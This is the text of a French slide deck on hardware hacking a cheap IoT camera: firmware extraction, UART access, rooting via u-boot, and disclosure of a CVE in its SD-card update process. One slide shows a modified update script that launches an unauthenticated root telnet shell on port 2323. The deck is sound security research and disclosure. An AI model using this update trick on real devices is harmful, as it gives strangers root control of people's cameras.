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Qui sommes nous 

wepfen
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istark

● Fais des memes

Istaarkk

● Fais du pwn

● A le coeur brise

● PR a 20kg au DC

wepfen

wepfen.github.io istaarkk.github.io



Pourquoi ?

● A la mode sur Linkedin

● Les side quests à 2600
● Action vend des caméras pas chères
● Apprendre et tester des trucs
● Pour briller en société

etc …



Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod 

tempor incididunt ut labore et dolore magna aliqua. 

Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut 

aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in 

voluptate velit esse cillum dolore eu fugiat nulla pariatur. 

Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia 

deserunt mollit anim id est laborum.

La caméra

● 9€95
● Moins chère qu’un 
● Appli mobile, cloud, micro, carte SD



Les chercheurs avant nous

CVE-2024-51362 -> Flux vidéo non 
authentifié

CVE-2025-25680 -> Injection de commande 
lors de la configuration

https://shinxyy.github.io/blogs/CVE_2024_51362.html
https://github.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-25680


Méthodologie

Officiellement

● OWASP IoT Security Testing Guide
● OWASP Firmware Security Testing 

Methodology

Officieusement

● On écoute notre coeur et notre instinct
●



La caméra sans ses vêtements

● Port de carte SD 
● Point RX et TX -> UART
● EEPROM (stockage persistent)



CH341A flash 
programmer

Bus pirate

Extraction du firmware



CH341A flash 
programmer

Bus pirate

Extraction du firmware



Extraction du firmware
CH341A flash 
programmer

Bus pirate



Extraction du firmware



Extraction du firmware
En magasin En réalité



Caméra connectée - Debug live (UART)

● Port RX et TX
● De l’étain
● Un fer à souder



Caméra connectée - Debug live (UART)



Caméra connectée - Rooter avec u-boot



Caméra connectée - Rooter avec u-boot

1. Brancher le uart2usb 
2. Allumer la caméra
3. Spammer la touche entrée



Caméra connectée - Rooter avec u-boot



Caméra connectée - Rooter avec u-boot



E

How to find a CVE
En reversant on trouve la structure du boot



E

How to find a CVE: 
Processus de mise à jour

cp update.nor.sh /tmp/update.nor.sh
chmod +x /tmp/update.nor.sh
su root
./tmp/update.nor.sh

local/sbin/start_app.sh
Carte SD montée

update.nor.sh
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How to find a CVE
Processus de mise à jour (carabistouillé)

telnetd -l /bin/sh -p 2323 &

local/sbin/start_app.shCarte SD montée

shell root en ÉCOUTE sur le port 2323



E

Report CVE : MITRE 

Processus de signalement:

● Attendre 1000 ans



E

Report CVE : MITRE 

🔁Traduction :  

“On a reçu ton rapport, 
merci pour la vuln et on te 

répondra plus tard  
inshAllah”

Cordialement, L’ANSSI

Accusé de réception du rapport
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Bus Pirate Homemade : Blue Tag

● Raspberry pi pico (7€)

● Cable femelle 

● Blue Tag



Easter eggs: La baleine

Référence à whaltevt,
la boite qui produit la caméra



Easter eggs: hello_stranger.txt
En gros il

nous salue et nous 
souhaite que du bien

Traduction🔁



Easter eggs: poem.txt

Chill, chacun 
avance à son 

rythme ❤
Traduction🔁



Easter eggs : inspection du travail

Rollmops



MERCI POUR VOTRE 
ATTENTION



Liens

https://github.com/Istaarkk/CVE-2025-65817

https://shinxyy.github.io/blogs/CVE_2024_51362.html

https://github.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-25680

https://github.com/Istaarkk/CVE-2025-65817
https://shinxyy.github.io/blogs/CVE_2024_51362.html
https://github.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-25680

